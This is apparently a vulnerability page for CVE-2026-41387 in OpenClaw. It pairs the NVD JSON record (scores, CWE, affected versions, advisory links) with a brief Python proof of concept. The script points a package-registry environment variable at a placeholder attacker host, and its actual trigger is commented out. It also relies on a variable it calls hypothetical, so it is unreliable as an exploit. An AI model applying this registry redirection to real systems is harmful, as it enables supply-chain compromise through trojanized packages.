CVE-2026-41387

import os import subprocess # PoC for CVE-2026-41387: OpenClaw Incomplete Host Environment Variable Sanitization # Description: This script demonstrates how an attacker can set malicious environment variables # to redirect package resolution to a controlled infrastructure. def exploit_cve_2026_41387(): # 1. Define the attacker-controlled registry URL # In a real attack, this server hosts trojanized packages malicious_registry = "http://attacker-controlled-malicious-registry.com" # 2. Inject malicious environment variables # OpenClaw < 2026.3.22 fails to sanitize these variables during approved exec requests print("[*] Injecting malicious environment variables...") os.environ['PACKAGE_MANAGER_REGISTRY'] = malicious_registry os.environ['HOST_ENV_OVERRIDE'] = 'enabled' # Hypothetical variable to trigger the vulnerable path # 3. Simulate the trigger (User Interaction required) # Normally, this would be a user running 'openclaw install' or 'openclaw build' print(f"[*] Triggering OpenClaw execution with registry: {malicious_registry}") # Note: Actual execution commented out to prevent damage # try: # subprocess.run(["openclaw", "install", "vulnerable-package"], check=True) # except Exception as e: # print(f"Error: {e}") print("[+] Exploit logic executed. If OpenClaw is vulnerable, packages will be pulled from the malicious source.") if __name__ == "__main__": exploit_cve_2026_41387()

{"cve": {"id": "CVE-2026-41387", "sourceIdentifier": "[email protected]", "published": "2026-04-28T19:37:41.910", "lastModified": "2026-04-30T20:36:10.410", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.3.22 contains an incomplete host environment variable sanitization vulnerability in host-env-security-policy.json and host-env-security.ts that allows package-manager environment overrides. Attackers can exploit approved exec requests to redirect package resolution or runtime bootstrap to attacker-controlled infrastructure and execute trojanized content."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-183"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.3.22", "matchCriteriaId": "80A4431B-25A7-43D7-9618-5E37E4359DB5"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-j7p2-qcwm-94v4", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-supply-chain-redirection-via-incomplete-host-environment-sanitization", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}